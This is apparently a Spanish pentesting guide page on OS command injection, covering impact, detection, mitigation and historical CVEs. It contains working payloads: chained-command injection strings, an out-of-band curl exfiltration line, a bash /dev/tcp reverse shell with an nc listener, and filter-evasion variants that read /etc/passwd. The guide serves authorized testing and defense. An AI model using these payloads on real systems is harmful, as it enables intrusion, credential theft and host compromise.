Saltearse al contenido

Inyección de comandos

La inyección de comandos del SO ocurre cuando la app construye un comando del sistema concatenando entrada del usuario y lo ejecuta en una shell. El atacante inyecta sus propios comandos, que el servidor ejecuta con los privilegios del proceso web. Suele derivar en ejecución remota de código (RCE): de las vulnerabilidades de mayor impacto, porque da acceso directo al host.

RCE en el servidor, lectura/escritura de ficheros, robo de secretos y credenciales, reverse shell, pivote a la red interna, persistencia y, a menudo, compromiso total del host y de lo que haya detrás (BD, cloud).

Aparece en funciones que llaman a utilidades del sistema a través de una shell: ping/traceroute, conversores (ffmpeg/ImageMagick), antivirus, generación de miniaturas, backups, export a PDF. Si el código hace ping -c1 <host> pasando por /bin/sh, los metacaracteres permiten encadenar comandos:

; cmd2 | cmd2 || cmd2
&& cmd2 & cmd2 $(cmd2) `cmd2` # sustitución
%0a cmd2 (nueva línea)

Caso aparte: argument injection, cuando no controlas una shell pero sí argumentos de un binario (p. ej. inyectar --output o -o en curl/tar), que también puede llevar a lectura/escritura o ejecución.

  • In-band: la salida del comando vuelve en la respuesta.
  • Ciega (blind): no ves la salida; confirmas por tiempo o por OOB.
  • Argument injection: inyección de flags/opciones en vez de comandos.

Identifica parámetros que puedan acabar en un comando (hosts, nombres de fichero, opciones de conversión, rutas). Marca los indirectos (metadatos de ficheros, cabeceras que se pasan a herramientas).

Ventana de terminal
# In-band: salida directa
127.0.0.1 && id
127.0.0.1; uname -a
# Ciega por tiempo (fiable incluso sin salida)
127.0.0.1 & ping -c 5 127.0.0.1 # ¿la respuesta tarda ~5 s?
127.0.0.1 | sleep 5
# Ciega por OOB (confirma con tu dominio)
127.0.0.1; nslookup $(whoami).oob.tld
127.0.0.1; curl http://oob.tld/$(id|base64)

Para demostrar impacto sin dañar: una reverse shell a tu listener (en alcance autorizado):

Ventana de terminal
# víctima
127.0.0.1; bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'
# atacante
nc -lvnp 4444

Técnicas según el filtro (en laboratorio autorizado):

# Espacios filtrados
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
cat%09/etc/passwd # %09 = tabulador
# Palabras clave filtradas: comillas, concatenación, variables, globbing
w'h'oami c""at /etc/passwd /bin/c?t /etc/passwd
a=who;b=ami;$a$b
echo d2hvYW1p | base64 -d | sh # "whoami" en base64
# Separadores alternativos
cmd1 $(cmd2) cmd1 `cmd2` cmd1%0acmd2 # %0a = nueva línea si ; está filtrado

commix (automatiza detección/explotación, incl. ciega y OOB), interactsh/Burp Collaborator para blind, y nc/socat para shells.

RCE → exfiltración de secretos (.env, claves cloud, credenciales de BD) → pivote; si corre en un contenedor, intento de escape; si tiene rol cloud, toma de la cuenta.

  • El proceso web (nginx/php-fpm/node) lanzando shells o binarios inusuales (sh, bash, nc, curl, whoami, id) — señal fuerte en EDR.
  • Procesos hijo anómalos del servidor de aplicación; conexiones salientes a IPs/ puertos raros (reverse shell).
  • Picos de latencia repetidos (inyección ciega por tiempo) y DNS salientes a dominios desconocidos (OOB).

Creación de procesos (auditd en Linux, Sysmon en Windows), EDR/XDR, logs de la app con el comando construido, y egress/DNS del segmento web.

  1. Evita la shell. No construyas líneas de comando por concatenación. Usa APIs que reciban programa + argumentos como lista, sin intérprete: subprocess.run([...], shell=False) (Python), execFile/spawn sin shell (Node), ProcessBuilder (Java).
  2. Si es imprescindible invocar binarios, lista blanca estricta de valores y validación por patrón; nunca lista negra de metacaracteres.
  3. Mínimo privilegio del proceso (usuario sin permisos), contenedor con read-only FS, seccomp/AppArmor/SELinux, y sin egress innecesario.
  4. Prefiere librerías nativas del lenguaje a llamar a utilidades del SO.

Aislar el host, rotar todos los secretos a los que el proceso tenía acceso, buscar webshells/persistencia, reconstruir desde imagen limpia, y parchear el punto de inyección.

  • Shellshock (CVE-2014-6271, 2014) — inyección de comandos en Bash vía variables de entorno; explotable de forma remota a través de CGI → RCE masivo en servidores e IoT.
  • Apache Struts / Equifax (CVE-2017-5638, 2017) — inyección que derivó en ejecución de comandos y permitió la brecha de ~147 millones de personas.
  • Routers / cámaras / IoT — la inyección de comandos en funciones web de administración (ping, diagnósticos) es endémica y base de botnets como Mirai.

CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Identificados parámetros directos e indirectos que llegan a un comando.
  • Confirmada inyección in-band (id) o ciega (tiempo/OOB).
  • Probada evasión si hay filtro (${IFS}, concatenación, codificación).
  • Evaluado argument injection cuando no hay shell.
  • Impacto demostrado con comando inofensivo (nunca destructivo) en alcance.